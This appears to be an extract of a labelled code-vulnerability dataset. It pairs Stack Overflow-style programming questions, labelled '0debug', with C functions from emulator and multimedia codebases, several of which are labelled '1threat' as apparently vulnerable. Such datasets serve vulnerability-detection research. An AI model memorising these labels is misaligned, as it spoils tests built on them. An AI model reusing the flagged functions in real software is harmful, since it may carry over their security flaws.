problem
stringlengths
26
131k
labels
class label
2 classes
Where is the online official documentation about <ng-content> tag in Angular2? : <p>I came across <code>&lt;ng-content&gt;</code> in Angular2 application. I can't find any documentation <a href="https://angular.io/docs/ts/latest/" rel="noreferrer">here</a>. Where is the online official documentation about <code>&lt;ng-...
0debug
void stw_tce(VIOsPAPRDevice *dev, uint64_t taddr, uint32_t val) { val = tswap32(val); spapr_tce_dma_write(dev, taddr, &val, sizeof(val)); }
1threat
chmod "file permission" error during docker build from dockerfile : I am trying to copy a .war file from my host desktop to a location inside my docker container. Then i want to extract this .war file and afterwards change the permission to all the files which lies under one of the extracted file folder. Thereafter i a...
0debug
What is Clean project in Android Studio really doing? : <p>I have used clean project a few times after breaking my tutorial app. I did this by doing a refactor or some other fancy command on a variable. I don't actually know what android studio is doing in the background and I am wondering if anyone can give a good det...
0debug
How to preload a CSS @font-face font that is bundled by webpack4+babel? : <p>I have a webpack4+babel bundler setup for a react web app. In a LESS file, I reference a local font. This font gets copied over to the <code>dist</code> folder on build and its filename is hashed. I want to be able to preload this font.</p> <...
0debug
What't the means about var () in golang : <p>I go though the code generated by go-swagger, found follow code:</p> <pre><code>// NewReceiveLearningLabActsParams creates a new ReceiveLearningLabActsParams object // with the default values initialized. func NewReceiveLearningLabActsParams() ReceiveLearningLabActsParams {...
0debug
How to find missing characters from string B based on string A and add them to string B? : I have 2 strings. var stringA = "LetDoItNow" var stringB = "LetDo" Is there a way that I can find missing characters from string B based on string A and add them to it? The missing characters in this case are "ItN...
0debug
Jenkins - using GIT_ASKPASS to set credentials : <p>I've set up some credentials in Jenkins for bitbucket and double-checked the Credentials settings (e.g. logging in manually) however when I try it in Jenkins it just spins forever giving this output:</p> <pre><code>&gt; git config remote.origin.url &lt;bitbucket url&...
0debug
static int timebase_post_load(void *opaque, int version_id) { PPCTimebase *tb_remote = opaque; CPUState *cpu; PowerPCCPU *first_ppc_cpu = POWERPC_CPU(first_cpu); int64_t tb_off_adj, tb_off, ns_diff; int64_t migration_duration_ns, migration_duration_tb, guest_tb, host_ns; unsigned long fre...
1threat
java matrices how to use double : this is the code that i made for array... <!-- begin snippet: js hide: false console: true babel: false --> <!-- language: lang-html --> public class main { public static int arraySum(int[] arr) { int result = 0; for (int i = 0; i < a...
0debug
Why are interfaces subtypes of Object in Java? : <p>Why are interfaces with no super interface subtypes of Object in Java? What I am asking about here is why was this design choice taken by the language creators i.e. what is the practical purpose of this subtyping?</p>
0debug
App crash while calling RecyclerView says PID: 32217 : logs are like this > E/AndroidRuntime: FATAL EXCEPTION: main > Process: com.example.notes, PID: 32217 > android.view.InflateException: Binary XML file line #11: Attempt to invoke virtual method 'boolean > java.lang.String.equals(java.lang.Object)' on...
0debug
What's the best approach to sharing device CLLocation between ViewControllers in Swift? : <p>I am building an app that uses <code>CoreLocation</code> to get the user's <code>CLLocation</code> in order to display location-based content throughout the app. </p> <p><strong>What is the best approach to getting the device ...
0debug
static int virtio_blk_handle_rw_error(VirtIOBlockReq *req, int error, bool is_read) { BlockErrorAction action = blk_get_error_action(req->dev->blk, is_read, error); VirtIOBlock *s = req->dev; if (action == BLOCK_ERROR_ACTION_STOP) { req...
1threat
c# autocad dialog box to detect a new active drawing : <p>I have a modeless dialog box displaying drawing information. is there a way to detect when another drawing is active and update the dialog box to show the new drawings information?</p>
0debug
When writing a PowerShell module in C#, how do I store module state? : <p>I'm writing a PowerShell module in C# that connects to a database. The module has a <code>Get-MyDatabaseRecord</code> cmdlet which can be used to query the database. If you have a <code>PSCredential</code> object in the variable <code>$MyCredenti...
0debug
static int amrnb_decode_frame(AVCodecContext *avctx, void *data, int *got_frame_ptr, AVPacket *avpkt) { AMRContext *p = avctx->priv_data; const uint8_t *buf = avpkt->data; int buf_size = avpkt->size; float *buf_out; int i...
1threat
How to overlap two screen on button click : I have create two ViewController in objective-c and design on storyboard. But my problem is that, i want to show like that (i have attached screenshot).[![enter image description here][1]][1] [1]: https://i.stack.imgur.com/yXHwe.jpg Anybody can help me..
0debug
how can we slove dynamic pattern program for odd no of values : what is the solution of the pattern program given below. like if we have, n=3 then pattern should be * * * * for n=5 * * * * * * * * * and so on for n= odd values
0debug
glGetAttribLocation returns -1 : <p>I started learning shaders and I ran into a problem where the function glGetAttribLocation returns -1.</p> <p>programId >= 0</p> <p>vertex &amp; fragment Shader >= 0</p> <p>position &amp; color Attribute == -1</p> <p>Here is my code:</p> <p>Shaders:</p> <pre><code>int[] shaderD...
0debug
PHP/MYSQL: showing data out 2 databases : This is my first question and I tried to make it clear enough so you quys/girls can understand it. If I am missing something or doing something wrong please let me know! Its my first question. **What I want:** I want it to show the `voornaam` out of the database `Klanten`...
0debug
Cocoa App webview not loading request : <p>I have used webview to load url but it is not loaded.</p> <p>i have tried the same with wkwebview but couldn't load url.</p> <p>I have done following</p> <ul> <li>import WebKit</li> <li>Info.plist <ul> <li>Allow Arbitrary Loads - YES</li> <li>Allow Arbitrary Loads in Web C...
0debug
Using timer in Android Studio : I got a problem with timer. After 2 sec instead of this action i got error.enter code here public class MainActivity extends AppCompatActivity { private TextView tv; @Override protected void onCreate(Bundle savedInstanceState) { ...
0debug
uintptr_t tcg_qemu_tb_exec(CPUArchState *env, uint8_t *tb_ptr) { long tcg_temps[CPU_TEMP_BUF_NLONGS]; uintptr_t sp_value = (uintptr_t)(tcg_temps + CPU_TEMP_BUF_NLONGS); uintptr_t next_tb = 0; tci_reg[TCG_AREG0] = (tcg_target_ulong)env; tci_reg[TCG_REG_CALL_STACK] = sp_value; assert(tb_p...
1threat
Javascript Storing Information in URL : <p>I was wondering how (if it's possible) to store information in the URL of a webpage? I've noticed in websites like Youtube there is information stored in the URL (for example which video in a playlist) and I would like to know how to do this for a website I'm working on. </p>
0debug
How can we open and enter a software installed on my desktop through java : <p>I have a application installed on my desktop.On clicking it asks for a username ,password and RSA token(which is a randomly generated number). How can i open this application through java . ....Need help on this </p> <p>I have tried with Ro...
0debug
Is there some tutorials bootstrap4xpages? : <p>I'm a beginner in developing xpages, I want to use bootsrap4 xpages I ask if there are good tutorials to help me. thanks </p>
0debug
How to convert Char to String in Julia? : <p>In julia, Char and String are not comparable.</p> <pre><code>julia&gt; 'a' == "a" false </code></pre> <p>How can I convert a Char value to a String value?</p> <p>I have tried the following functions, but none of them work.</p> <pre><code>julia&gt; convert(String, 'a') ER...
0debug
How to change the Spyder editor background to dark? : <p>I've just updated Spyder to version 3.1 and I'm having trouble changing the colour scheme to dark. I've been able to change the Python and iPython console's to dark but the option to change the editor to dark is not where I would expect it to be. Could anybody te...
0debug
void init_get_bits(GetBitContext *s, UINT8 *buffer, int buffer_size) { s->buffer= buffer; s->size= buffer_size; s->buffer_end= buffer + buffer_size; #ifdef ALT_BITSTREAM_READER s->index=0; #elif defined LIBMPEG2_BITSTREAM_READER s->buffer_ptr = buffer; s->bit_count =...
1threat
git lfs clone vs git clone : <p>If I have git lfs installed on the client and I run:</p> <pre><code>git clone </code></pre> <p>is this equivalent to </p> <pre><code>git lfs clone </code></pre> <p>or will different results occur?</p> <p>Thank you!</p> <p>The answer to this question: </p> <p><a href="https://stac...
0debug
I want to send pictures and messages to users phone numbers without making them install the app. I am using firebase for storage ( swift iOS) : <p>currently twilio.com offers a service where you can send messages and pictures through a phone number, I want to know is there any API or service that I can use to send my s...
0debug
document.location = 'http://evil.com?username=' + user_input;
1threat
how to does screenshot works? is it due to the hardware that supports or the software which pile ups the pixel? : Can someone answer how does the screenshot works? irrespective of mobile phone or PC? I've tried to find look for the answer all over the internet but every where i find only the videos how to take screens...
0debug
static int usb_xhci_initfn(struct PCIDevice *dev) { int i, ret; XHCIState *xhci = DO_UPCAST(XHCIState, pci_dev, dev); xhci->pci_dev.config[PCI_CLASS_PROG] = 0x30; xhci->pci_dev.config[PCI_INTERRUPT_PIN] = 0x01; xhci->pci_dev.config[PCI_CACHE_LINE_SIZE] = 0x10; xhci->pci_dev.confi...
1threat
document.write('<script src="evil.js"></script>');
1threat
static void replay_add_event(ReplayAsyncEventKind event_kind, void *opaque, void *opaque2, uint64_t id) { assert(event_kind < REPLAY_ASYNC_COUNT); if (!replay_file || replay_mode == REPLAY_MODE_NONE || !events_enabled) { Event e;...
1threat
static inline void os_host_main_loop_wait(int *timeout) { }
1threat
PHP - How to get between text in special string : my code is here $a = "@ABCD@" ; echo $a ; // need print without @ @- ABCD else echo "please enter your text Type in between @ @" ; How is this done in PHP Please give example..
0debug
uint64_t qcrypto_pbkdf2_count_iters(QCryptoHashAlgorithm hash, const uint8_t *key, size_t nkey, const uint8_t *salt, size_t nsalt, Error **errp) { uint8_t out[32]; uint64_t iterations = (1 << 15); ...
1threat
Trying to create a navigation menu with links to each <h2> title on a page : <p>I'm trying to create a navigation menu using jQuery with links to each <code>&lt;h2&gt;</code> title on pages created and published in Wordpress. Some of these pages can get a bit lengthy so this navigation menu should make it quick and eas...
0debug
Send jpg image from ANDROID to servlet : <p>I am making an Instagram like application for my college project. </p> <p>CLIENT = Android SERVER = Servlet</p> <p>I want to send an image from android to servlet. I just need the image send and revive code. I have figured out the rest.</p> <p>Thank you for help. </p>
0debug
int virtio_gpu_create_mapping_iov(struct virtio_gpu_resource_attach_backing *ab, struct virtio_gpu_ctrl_command *cmd, struct iovec **iov) { struct virtio_gpu_mem_entry *ents; size_t esize, s; int i; if (ab->nr_entries > 16384) ...
1threat
static void FUNC(transquant_bypass8x8)(uint8_t *_dst, int16_t *coeffs, ptrdiff_t stride) { int x, y; pixel *dst = (pixel *)_dst; stride /= sizeof(pixel); for (y = 0; y < 8; y++) { for (x = 0; x < 8; x++) { dst[x] += *coeffs; ...
1threat
How to traverse through three selection related combo boxes with enable disable state in C#? : I spend a lot of time trying to resolve this. I have 3 combo boxes, i`m trying to make first active when the form is loaded and the rest inactive. When the value (double type) is selected in first cmb, second is activated a...
0debug
can anyone help me finding alternative algorithm solution - without using sort()? : <pre><code>function areSimilar(a, b){ return a.sort().join('') === b.sort().join(''); } console.log(areSimilar([1, 2, 3], [1, 2, 3])); //true console.log(areSimilar([1, 2, 3], [2, 1, 3])); //true console.log(areSimilar([1, 2, 2...
0debug
JVM space exhausted when building a project through gradle : <p>Receiving error message when building a project through gradle</p> <blockquote> <p>Expiring Daemon because JVM Tenured space is exhausted</p> </blockquote>
0debug
static bool event_notifier_poll(void *opaque) { EventNotifier *e = opaque; AioContext *ctx = container_of(e, AioContext, notifier); return atomic_read(&ctx->notified); }
1threat
Which argument in a function is called first? : <p>I cannot figure out the reason why I am getting this result. I am not the order in which the function calls it's arguments. I would assume that it would start at the first argument and go until the last. Here's the code...</p> <pre><code>#include &lt;stdio.h&gt; int ...
0debug
static void vmxnet3_cleanup(NetClientState *nc) { VMXNET3State *s = qemu_get_nic_opaque(nc); s->nic = NULL; }
1threat
Sum especific property of same item in list of lists using java 8 streams : Given a List of lists and using java 8 Streams API, I need to sum all quantities of each same item in different lists grouped by your id. For the example, I have the following code: public class Streams { static cla...
0debug
static int xhci_ep_nuke_xfers(XHCIState *xhci, unsigned int slotid, unsigned int epid, TRBCCode report) { XHCISlot *slot; XHCIEPContext *epctx; int i, xferi, killed = 0; USBEndpoint *ep = NULL; assert(slotid >= 1 && slotid <= xhci->numslots); assert(epid >=...
1threat
static int qcow2_open(BlockDriverState *bs, int flags) { BDRVQcowState *s = bs->opaque; int len, i, ret = 0; QCowHeader header; uint64_t ext_end; ret = bdrv_pread(bs->file, 0, &header, sizeof(header)); if (ret < 0) { goto fail; } be32_to_cpus(&header.magic); be32...
1threat
Letter ”p” is not working in an android studio : I was writing code in an android studio. But recently I am facing a new problem. My keyboard is okay but letter P is not working in an android studio. For example, if I write “public” it shows “ublic”, I write “private” it shows “rivate”. I can easily write in Microsoft ...
0debug
How can i do two columns in bootstrap select : > I want two columns in bootstrap select. Like this [![enter image description here][1]][1] > How can i do? [1]: https://i.stack.imgur.com/vnjwh.jpg
0debug
C++: using namespace, global variable won't work : <p>I got the following problem: </p> <p>When I use this code</p> <pre><code>#include &lt;iostream&gt; int count = 10; /* Global variable */ int main() { while(count--) { } return 0; } </code></pre> <p>the code compiles perfectly well. However, if I add "...
0debug
void helper_stqf(CPUSPARCState *env, target_ulong addr, int mem_idx) { CPU_QuadU u; helper_check_align(env, addr, 7); #if !defined(CONFIG_USER_ONLY) switch (mem_idx) { case MMU_USER_IDX: u.q = QT0; cpu_stq_user(env, addr, u.ll.upper); cpu_stq_user(env, addr + 8, ...
1threat
How to write replacement information in mySQL if no value is post | PDO mySQL : I have the following PDO script that looks for the values. $stmt = $pdo->prepare( ' INSERT INTO `table1` (`person`, `player`, `card) VALUES (:person, :player, :card) ' ); $stmt->execute([ 'per...
0debug
How to create a Maven project from java program(Automatically)? : <p>Java 1.7</p> <p>I want to write a program which should generate the Maven Project.</p> <p>For Example:</p> <pre><code>public class AutoGenerate{ public static void main(String[] args){ // Here I will ask all the user input params like proje...
0debug
Convert this String to hours and minutes c# : <p>Input value is only like this in string value and nothing else: <code>P0DT3H40M0S</code> This indicates travel time and needs to be converted to hours and minutes. D signifies Day, T is Time (right part signifies Time, above sample was: 3 Hours And 40 Minutes and 0 S...
0debug
static ssize_t local_readlink(FsContext *fs_ctx, V9fsPath *fs_path, char *buf, size_t bufsz) { ssize_t tsize = -1; char buffer[PATH_MAX]; char *path = fs_path->data; if ((fs_ctx->export_flags & V9FS_SM_MAPPED) || (fs_ctx->export_flags & V9FS_SM_MAPPED_FILE)...
1threat
int rtp_set_remote_url(URLContext *h, const char *uri) { RTPContext *s = h->priv_data; char hostname[256]; int port; char buf[1024]; char path[1024]; url_split(NULL, 0, hostname, sizeof(hostname), &port, path, sizeof(path), uri); snprintf(buf, sizeof(buf), "...
1threat
Need a regrex to fetch the data : I have created a regex for fetching some values but however i am not able to fetch a value in the below format together in which the request is send to post can you please check let me if i can get the value in this format through regex Code=ABC&cellNo=314&payType=0&transmissi...
0debug
Get all the Text from a xml file : <p>I want to extract all the text in a XML-File with Python.</p> <p>Is there any possibility?</p> <p>I heard that it is possible with using xml.etree.ElementTree</p> <p>For example:</p> <pre><code>&lt;data&gt; &lt;country name="Liechtenstein"&gt; &lt;rank&gt;1&lt;/r...
0debug
Gitlab Pages: Failed to verify domain ownership : <p>This morning I got emails for each of my Gitlab Pages that are hosted on custom domains, saying that the domain verification failed.</p> <p>That's fine, because I don't think I ever verified them in the first place - good on Gitlab for getting this going.</p> <p>Wh...
0debug
how to fix colon error with if statement in python : i have a syntax error i cant see it here is my code need answer asap (PYTHON) i am creating a piece of code which allows the user to enter a correct pin in python i tried adding an if statement and i keep getting a syntax error on the colon this for a python...
0debug
static void q35_host_get_pci_hole64_end(Object *obj, Visitor *v, const char *name, void *opaque, Error **errp) { PCIHostState *h = PCI_HOST_BRIDGE(obj); Range w64; pci_bus_get_w64_range(h->bus, &w64); visit_type_u...
1threat
Instagram Javascript login not works : Go to login page: https://www.instagram.com/accounts/login/ Execute: document.getElementsByTagName('input')[0].value = 'login'; document.getElementsByTagName('input')[1].value = 'password'; We can see our password: document.getElementsByTagName('input')[1...
0debug
How to sum up value in string c++ : Well i try to sum up a strings that contains number(only) in ex. String a = 103 String b = 13 And i want it to sum up so the result will be 113 I was wondering about substring or charAt but dunno is it good idea. I hope that's well explained.
0debug
void ff_put_h264_qpel16_mc10_msa(uint8_t *dst, const uint8_t *src, ptrdiff_t stride) { avc_luma_hz_qrt_16w_msa(src - 2, stride, dst, stride, 16, 0); }
1threat
target_ulong helper_rdhwr_synci_step(CPUMIPSState *env) { check_hwrena(env, 1); return env->SYNCI_Step; }
1threat
static void ff_h264_idct_dc_add8_mmx2(uint8_t *dst, int16_t *block, int stride) { __asm__ volatile( "movd %0, %%mm0 \n\t" "punpcklwd %1, %%mm0 \n\t" "paddsw %2, %%mm0 \n\t" "psraw $6, %%mm0 \n\t" "punpcklwd %%mm0, %%mm0...
1threat
How do they connect? Abp, AbpZero, AbpZeroTemplate[MyCompany] : It's so confusing and unclear how the repositories are connected and tied together. Each git repo has a different package of cs files, with their own unique features and design schemas. Rather than a hierarchical design structure, where in my understanding...
0debug
How to prevent building app if component prop types are invalid? : <p>Here is a example for PropTypes:</p> <pre><code>import PropTypes from 'prop-types'; class Greeting extends React.Component { render() { return ( &lt;h1&gt;Hello, {this.props.name}&lt;/h1&gt; ); } } Greeting.propTypes = { name: ...
0debug
When I click the Edit button on any record, it will fetch the first data Please inform me, Thank you : I have a problem When I click the Edit button on any record, it will fetch the first data Please inform me, Thank you I have a problem When I click the Edit button on any record, it will fetch the first data Ple...
0debug
SQL: How do I list all of customer ID that had their first 2 orders exactly in the sequence of: first order being hat, second order being sunglasses? : <p>I am new to SQL and I am trying to figure out the query: How do I list all of customer ID that had their first 2 orders exactly in the sequence of: first order being...
0debug
static int read_sbr_channel_pair_element(AACContext *ac, SpectralBandReplication *sbr, GetBitContext *gb) { if (get_bits1(gb)) skip_bits(gb, 8); if ((sbr->bs_coupling = get_bits1(gb))) { if (read_sb...
1threat
Why doesn't the following line compile? : <p>I am trying to create an arraylist which can contain any type of object by using a generic with an unbounded wildcard.</p> <pre><code>ArrayList&lt;?&gt; params = new ArrayList&lt;?&gt;(); </code></pre> <p>I do not understand why I receive the following error and I want to...
0debug
static int vfw_read_header(AVFormatContext *s, AVFormatParameters *ap) { struct vfw_ctx *ctx = s->priv_data; AVCodecContext *codec; AVStream *st; int devnum; int bisize; BITMAPINFO *bi; CAPTUREPARMS cparms; DWORD biCompression; WORD biBitCount; int width; int heig...
1threat
Pagination in Wagtail : <p>I'm fairly new to Wagtail, and I am in the process of creating a site that will have a Resources (blog) section and I'm not sure how to implement pagination so that there are only 5 posts on each page and the user has to click a number (1, 2, 3, etc.) to go to the next page to see the next 5 ...
0debug
How to get out the stored data from Firebase? Help me please : I'm not getting the output from Firebase database. It's not returning anything. I also tried getting value through Querry but it returned databaseerror: cannot convert java.util.hashmap to String '''' FirebaseDatabase database = FirebaseDatab...
0debug
def remove_replica(test_tup): temp = set() res = tuple(ele if ele not in temp and not temp.add(ele) else 'MSP' for ele in test_tup) return (res)
0debug
regex to extract before colon and between quotes : <p>What regexp to use to match before colon and between quotes?</p> <p>e.g "This text only":"bla bla bla" ↓ This text only</p> <p>I need this to extract only key fields in yaml.</p>
0debug
$_GET automatically adding '_' to variable name? : <p>I am checking whether a record exists in database or not</p> <pre><code>if ($row["count(*)"] == 0) { header('Location: first.php? stat = "not found"'); } </code></pre> <p>Now, to check the stat variable in first.php, I am doing - </p> <pre><code>print_r($_GET...
0debug
void OPPROTO op_POWER_sre (void) { T1 &= 0x1FUL; env->spr[SPR_MQ] = rotl32(T0, 32 - T1); T0 = Ts0 >> T1; RETURN(); }
1threat
Find the biggest number in array by using javascript loops : create a function called biggestNumberInArray() that takes an array as a parameter and returns the biggest number. Here is an array const array = [-1,0,3,100, 99, 2, 99] What i try in my JS: function biggestNumberInArray(...
0debug
android manifest permission don't work : <p>Good Afternoon all !</p> <p>I had a issue with Android Studio 2.3. I try to make an app than can read contact but it looks that when I try to install the app there is no premission required...May be I miss something ?</p> <p>My AndroidManifest :</p> <pre><code>&lt;?xml ver...
0debug
Why is "if "and "while" not interchangeable in my python-3.x code below? : a=1 b=a+1 c=a+b x=0 while c < 5: c=c+1 x=x+1 if c == 5: print ("\n It took this many loops to make C=5: ",x) The above code works as I want but, I need the below code to wor...
0debug
How to Close Current Tab : I have tried with below scenario's <html> <head> <script language="javascript" type="text/javascript"> var parentWindow = this; function closeWindow() { // window.top.close(); this.parentWindow.close(); //window.open('','_parent',''); //window.close(); // var x=confirm('Are You sure want t...
0debug
void slirp_init(int restricted, struct in_addr vnetwork, struct in_addr vnetmask, struct in_addr vhost, const char *vhostname, const char *tftp_path, const char *bootfile, struct in_addr vdhcp_start, struct in_addr vnameserver) { slirp_init_once(...
1threat
copying and pasting values to the next empty row : <p>I have multiple Excel files which i will open automatically. I would like to copy the values of the opened Excel files and paste it to the next empty row in my master file. </p> <p>How can i do this ?</p>
0debug
Value of type 'IndividualContact' has no subscripts Error Swift : Trying to sort the array of JSON objects in the array by "name" alphabetically. Gives error of "Value of type 'IndividualContact' has no subscripts" Not sure what that means. Any help is appreciated. [Screenshot of Code][1] [1]: https://i.stack...
0debug
hi guys i want upload four image in my databese and i dnt know how to go abt it : have been using php for some time now and i can only upload just one image to my database and with directory path.. bt now m trying to upload many files in a form bt its just saving one file out of four images i try to upload.. ur helps ...
0debug
How do I centre the text of the links in this boostrap navbar when it collapses? : I want the links in the dropdown to be centred. ```HTML <nav class="navbar navbar navbar-expand-lg fixed-top bg clean-navbar"> <div class="container logo" style="position: relative;"><a class="navbar-brand text-left d-bloc...
0debug
How to filter in multidimensional array? : I am working on a filter menu. I have an array something like below. From my filter menu I will get an array result: {gm: "FS H", rm: "RSM1", am: "BKK PULL", sales: "BKK SR1", state: "delhi", …} From this result I need to find the associated sa_id and pr_id. From ab...
0debug
int v9fs_co_mkdir(V9fsState *s, char *name, mode_t mode, uid_t uid, gid_t gid) { int err; FsCred cred; cred_init(&cred); cred.fc_mode = mode; cred.fc_uid = uid; cred.fc_gid = gid; v9fs_co_run_in_worker( { err = s->ops->mkdir(&s->ctx, name, &cred); ...
1threat
Python lists in lists : I have the following code: `addresses = [['Jim', 543, 65], ['Jack', 4376, 23], ['Hank', 764, 43]] print addresses[0:][0] # I want this to return: ['Jim', 'Jack', 'Hank']` How would I make this print out only the names in `addresses`? Thank you!
0debug
using list.files() in R to find files that start with a specific string : <p>I am using <code>list.files()</code> in r to read in files. However, the <code>pattern=</code> input will scan all files that contain that special string I am scanning for...</p> <p>Ex. </p> <p><code>MASTERLIST =list.files("/Volumes/3TB/",pa...
0debug
COBOL-COMPILATION ERROR In If statemnet :A scope-delimiter did not have a matching verb and was discarded : I have below code where i have 3 if statemnts and im closeing all of them with END-If but still its showing me below error , if someone can help ERROr Message: 17032 END-IF * 564-S****** ...
0debug
Check if path is a directory in Swift2? : <p>If like to attain functionality similar to that of Bash's <code>-d</code> <code>if</code> condition.</p> <p>I am aware of how to test if a file exists with <code>fileExistsAtPath()</code>, which returns a bool "true" if the file exists and "false" if it doesn't (assuming <c...
0debug